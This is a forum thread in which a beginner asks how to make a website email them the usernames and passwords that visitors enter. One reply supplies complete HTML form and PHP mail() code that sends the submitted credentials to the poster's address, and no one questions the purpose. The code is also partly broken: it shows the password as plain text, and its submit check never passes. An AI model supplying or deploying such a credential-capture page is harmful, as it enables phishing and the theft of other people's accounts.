Can Anyone Help me? :(

Posts 1–5 of 5 · Page 1 of 1
Can Anyone Help me? :(
Hi Guys

Well Im kinda new to html coding and stuff and I would really appreciate your help. I just want to make my site send me the log in info . For example , When someone types in his account name and password , I want that to b sent to my email. Can anyone help me out ?


Thank you
that includes PHP, give me 5 bucks via paypal and ill do it for you.
this is easily done, just search around google you'll easily find the answer.
Ugh, dont let someone try to charge you money for that.

This should work:

Your script will basically contain two parts:
  1. A Form POST
  2. The sending of the email

For the first part, you will create an HTML form, like this:
[html]<form name="input" action="some_form.php" method="get">
Username:
<input type="text" name="user" />
Password:
<input type="text" name="pass" />
<input type="submit" value="Submit" />
</form> [/html]

For the second part, you will use the php mail() function, like this:
[php]<?php
$email_to = "somebody@email.com";
$email_subject = "Test E-Mail (This is the subject of the E-Mail)";
$email_body = "This is the body of the Email \nThis is a second line in the body!";

if(mail($email_to, $email_subject, $email_body)){
echo "The email($email_subject) was successfully sent.";
} else {
echo "The email($email_subject) was NOT sent.";
}
?>[/php]

Now we make them talk to each other and you will make two files:

form.html:
[html]<form name="input" action="mail.php" method="post">
Username:
<input type="text" name="user" />
Password:
<input type="text" name="pass" />
<input type="submit" value="Submit" />
</form>[/html]

mail.php:
[php]<?php

if($_POST['submit']) {
$email_to = "YOUR EMAIL ADDRESS@SOMEWHERE.COM";
$email_subject = "Form Submitted";



$user = $_POST['user'];
$pass = $_POST['pass'];
$email_body = "Username: " . $user . " \n Password: " . $pass;

if(mail($email_to, $email_subject, $email_body)){
echo "The email($email_subject) was successfully sent.";
} else {
echo "The email($email_subject) was NOT sent.";
}
}
else{
die("You didn't submit a form!");
}
?>
[/php]
Posts 1–5 of 5 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?